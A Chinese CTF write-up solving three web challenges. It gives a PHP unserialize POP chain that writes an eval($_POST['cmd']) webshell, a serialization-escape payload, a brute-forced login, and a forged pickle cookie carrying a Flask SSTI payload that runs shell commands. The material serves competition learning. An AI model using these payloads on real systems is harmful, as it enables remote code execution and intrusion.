前言
没想到第一次拿一血还是因为被做核酸叫起来,然后睡不着做的题!
Web
ez_unserialize
源码:
<?php
class A
{
public $var1;
public $var2;
public $secret;
function __construct($p1, $p2)
{
$this->var1 = $p1;
$this->var2 = $p2;
}
function __destruct()
{
$this->var1->secret = $this->var2;
}
}
class B
{
function __construct()
{
$this->Hello();
}
function __set($p1, $p2)
{
$p2->$p1();
}
function Hello()
{
echo "Welcome to 西电战役CTF!";
}
}
class C
{
public $var1;
function __construct($p1)
{
$this->var1 = $p1;
}
function __call($p1, $p2)
{
call_user_func($this->var1);
}
}
class D
{
public $var1;
public $var2;
function __construct($p1, $p2)
{
$this->var1 = $p1;
$this->var2 = $p2;
}
function write()
{
$dir = "sandbox";
if (!is_dir($dir)) {
mkdir('sandbox');
}
chdir('sandbox');
$filename = md5($this->var1 . $_SERVER["REMOTE_ADDR"]) . ".php";
if (preg_match("/[<>?]/", $this->var2)) {
die("hhhhacker!!!");
} else {
file_put_contents("./" . $filename, $this->var2);
}
}
}
$a = $_GET['a'];
if (isset($a)) {
unserialize($a);
} else if ($_POST['b'] == 'phpinfo') {
phpinfo();
} else {
highlight_file(__FILE__);
}
链子很好找,preg_match
使用数组绕过即可
exp:
<?php
class A
{
public $var1;
public $var2;
public $secret;
function __construct()
{
$this->var1 = new B;
$this->var2 = new C;
}
}
class B
{
}
class C
{
public $var1;
function __construct()
{
$this->var1 = array(new D, "write");
}
}
class D
{
public $var1 = 'ggbond';
public $var2 = ["shell"=>"<?php eval(\$_POST['cmd']);?>"];
}
$o = new A;
echo serialize($o);
login
登录页面直接爆破
得到源码:
<?php
include('flag.php');
error_reporting(0);
function replace($payload){
$filter="/flag/i";
return preg_replace($filter,"nono!",$payload);
};
$sss=$_GET['ky'];
$ctf['sss1']='webwebweb';
$ctf['sss2']='pwnpwnpwn';
if(isset($sss)){
if(strpos($sss,'flag')>=0){
$ctf['sss1']=$sss;
$ctf=unserialize(replace(serialize($ctf)));
if($ctf['sss2']==="webwebweb"){
echo $flag;
}else{
echo "nonono!";
}
}
}
else{
highlight_file(__FILE__);
}
?>
序列化逃逸,值增长,构造exp
ky=flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:4:"sss2";s:9:"webwebweb";}
ez_flask
需要身份认证,看了下Cookie
里有个user
,查了一会发现是python
的序列化字符串,捣鼓了半天才把exp
捣鼓出来
app.py
class User:
def __init__(self, name):
self.name = name
self.vip = True
exp.py
import app
from base64 import b64encode
from pickle import dumps
data = input(">>>")
o = app.User(data)
payload = dumps(o)
print("user=" + str(b64encode(payload))[2:-1])
然后接下来直接进行flaks SSTI
{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
运行脚本
user=gASVcgAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjEl7e2NvbmZpZy5fX2NsYXNzX18uX19pbml0X18uX19nbG9iYWxzX19bJ29zJ10ucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKX19lIwDdmlwlIh1Yi4=
得到的payload
放入cookie
得到flag